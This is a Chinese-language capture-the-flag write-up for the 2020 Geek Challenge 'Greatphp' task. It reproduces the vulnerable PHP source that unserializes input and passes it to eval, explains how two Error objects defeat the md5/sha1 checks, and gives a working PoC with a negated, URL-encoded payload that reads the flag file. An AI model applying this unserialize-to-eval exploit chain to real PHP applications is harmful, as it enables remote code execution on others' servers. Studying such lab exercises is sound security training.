[极客大挑战 2020]Greatphp 题解


进入题目,直接就是源码

<?php
error_reporting(0);
class SYCLOVER {
    public $syc;
    public $lover;

    public function __wakeup(){
        if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
           if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){
               eval($this->syc);
           } else {
               die("Try Hard !!");
           }
           
        }
    }
}

if (isset($_GET['great'])){
    unserialize($_GET['great']);
} else {
    highlight_file(__FILE__);
}

?>

代码审计后发现是要考反序列化漏洞,调用链很明显,但存在较为严格的强比较过滤

if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)))

此处既要求两属性不相等,又要求md5和sha1处理后强相等,且属性的内容是接下来eval要执行的,使得我们无法通过简单的哈希碰撞或数组等方式绕过,这里考虑通过PHP原生类来打。

Error类是PHP7.0开始引入的一个内置类,该类中存在__toString方法,会被md5和sha1触发,参考如下代码:

<?php
$a = new Error("payload",1);$b = new Error("payload",2);
echo $a;
echo "<br/>";
echo $b;
?>

输出为:

Error: payload in /opt/lampp/htdocs/test.php:2 Stack trace: #0 {main}
Error: payload in /opt/lampp/htdocs/test.php:2 Stack trace: #0 {main}

可以看到,虽然我们给两个Error传递的错误代码不同,但以字符串形式的输出结果是完全相同的,这个特性使得我们可以绕过md5及sha1的强比较。

那么既然输出结果完全相同,如何通过$this->syc!=$this->lover这个不相等检测呢?

这是因为md5和sha1会触发Error类的__toString方法,使得最终在等式两边比较的是经过__toString函数处理的字符串形式;而$this->syc!=$this->lover这个检测,处于等式两边的是未经过任何处理的原始的Error类形式,由于我们给$a和$b传递的Error类中第二个参数是不同的,所以这两个Error类自然不同(但在以字符串形式输出时不会显示出来)。

综上,我们可以给$this->syc和$this->lover赋值两个错误代码不同的,但第一个参数相同的Error类来绕过第一层if

我们来看第二层if,是一个正则检测,功能是检测字符串中是否存在 ( 或 ) 或 " 或 ' ,若包含上述四个字符任意之一,则无法通过检测。我们可以通过取反url编码来绕过这个检测。

两层if均绕过,接下来先上poc:

<?php
class SYCLOVER {
    public $syc;
    public $lover;
}

$str = "?><?=here_is_controllable"."?>";

$a=new Error($str,1);$b=new Error($str,2);
$c = new SYCLOVER();
$c->syc = $a;
$c->lover = $b;
echo(urlencode(serialize($c)));

?>

将该poc的输出传参给题目,发现输出为

here_is_controllable in /data/172772050334298785.php:19 Stack trace: #0 {main}

说明前半部分是我们可控的,接下来构造恶意php代码即可。

但在拿flag前,先解答有些人可能的疑惑:eval函数不是将参数当作php代码直接执行么,为什么$str的值不直接传例如phpinfo();这类代码,而是要先用?>进行闭合,再开启新的php代码段来执行目标操作?

这部分内容网上的wp基本没有进行解释,我请教了一些师傅,结合我的思考,得出一个应该大致正确的解释:当$this->syc中是我们所期望的Error类时,进行eval($this->syc)的话,在eval函数的上下文中可能会产生大量的报错信息,为防止影响我们的代码运行,需要先使用?>将这部分上下文闭合,再开启新的上下文运行我们的目标代码。

(你问我为什么那些垃圾信息不会输出到页面?@_@我也不清楚具体原理,猜测是因为这些报错信息属于Error类的受保护或私有的内部属性,所以在输出中不会显示)

接下来将$str中here_is_controllable替换为我们想要执行的代码即可(记得需要进行url取反),例如

$str = "?><?=include~".urldecode("%D0%99%93%9E%98")."?>";

将代码输出结果传参给题目,拿到flag

flag{5e8aa1de-ba08-4ea2-be1f-6ed44688f1e0} 1 in /data/17277202948318204.php:17 Stack trace: #0 {main}

本来应该结束了,但又有些人(想我这样的菜鸡@_@)可能会问:使用取反绕过时,直接对目标字符串取反后传参不就够了?如

$str = "?><?=include~"."���"."?>";

为什么还要多加一个url编码解码,将url编码解码后再取反,岂不是多此一举?

这里解释下:在PHP中,对一个字符串进行取反,得到的是每个字符对应其按位取反后的ASCII值的负数的二进制表示,例如对"/flag"进行取反,得到的是"xD0x99x93x9Ex98",该结果是不可见字符,直接输出时通常会以特殊字符或乱码显示(上个代码段中即是这样),这些特殊字符虽然在底层来说,跟urldecode("%D0%99%93%9E%98")得到的结果完全相同,但在数据的传递过程中,这些特殊字符可能并不能被PHP正常识别为合法的UTF-8编码,因此导致语法错误或者解析错误。

为了保证标准性一致性,我们使用url编码来处理特殊字符,能大大避免玄学问题出现的可能。

声明:大K|版权所有,违者必究|如未注明,均为原创|本网站采用BY-NC-SA协议进行授权

转载:转载请注明原文链接 - [极客大挑战 2020]Greatphp 题解


I'm scared this is all i will ever be...I feel trapped in my own life...I think i've figured it out but in reality i'm as lost as ever...I wish i could choose the memories that stay...please,stay.